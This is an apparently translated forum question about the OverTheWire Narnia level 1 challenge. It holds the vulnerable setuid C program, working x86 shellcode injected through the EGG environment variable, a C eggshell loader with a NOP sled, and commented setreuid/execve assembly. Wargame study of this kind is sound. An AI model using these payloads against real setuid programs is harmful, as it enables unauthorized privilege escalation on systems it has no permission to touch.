Attualmente sto affrontando le sfide di Narnia su overthewire.org. Per la sfida 1 - > 2, mi imbatto in un problema che non riesco a capire. Fondamentalmente c'è un programma in C chiamato narnia1 che ha il bit setuid impostato. Questo è il codice per questo.
int main(){ int (*ret)(); if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); } printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret(); return 0; }
Il setuid dovrebbe darmi i permessi narnia2 quando è in esecuzione, quindi sto provando a generare una shell con narnia2 privs per leggere il file di password / etc / narnia_pass / narnia2. Ho provato due metodi diversi, ma entrambi hanno generato una shell come narnia1. Il primo metodo che ho usato è stato provare a stampare uno shellcode con python.
export EGG=$(python -c 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"')
Ho provato a utilizzare uno shellcode più semplice che non rimuoveva alcun carattere errato, ma non ha funzionato neanche. Ho appena ricevuto una shell narnia1. Il secondo metodo che ho usato è stato la creazione di un programma C per impostare env var con lo shellcode.
#define NOP 0x90 char shellcode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" int main(void) { char shell[512]; puts("Eggshell loaded into environment.\n"); memset(shell,NOP,512); memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode)); setenv("EGG", shell, 1); putenv(shell); system("bash"); return 0; }
Entrambi questi metodi erano identici ai metodi che ho trovato su tutte le guide online di narnia, ma non riesco a farli funzionare correttamente. Ho provato a eseguire il mio programma eggcode.c nella directory narnia invece che in tmp, ma non ha funzionato. Ho anche provato a utilizzare lo shellcode derivato dal seguente linguaggio assembly:
xor eax, eax mov al, 70 ;setreuid is syscall 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short ender starter: pop ebx ;get the address of the string xor eax, eax mov [ebx+7 ], al ;put a NULL where the N is in the string mov [ebx+8 ], ebx ;put the address of the string to wherethe ;AAAA is mov [ebx+12], eax ;put 4 null bytes into where the BBBB is mov al, 11 ;execve is syscall 11 lea ecx, [ebx+8] ;load the address of where the AAAA was lea edx, [ebx+12] ;load the address of the NULLS int 0x80 ;call the kernel, WE HAVE A SHELL! ender: call starter db '/bin/shNAAAABBBB'
Ancora una volta, questo ha generato solo una shell narnia1. Il codice sta generando una shell, quindi questo mi fa pensare che il problema non è con lo shellcode. Non sono sicuro di cos'altro posso fare, comunque. Qualsiasi aiuto sarebbe davvero apprezzato.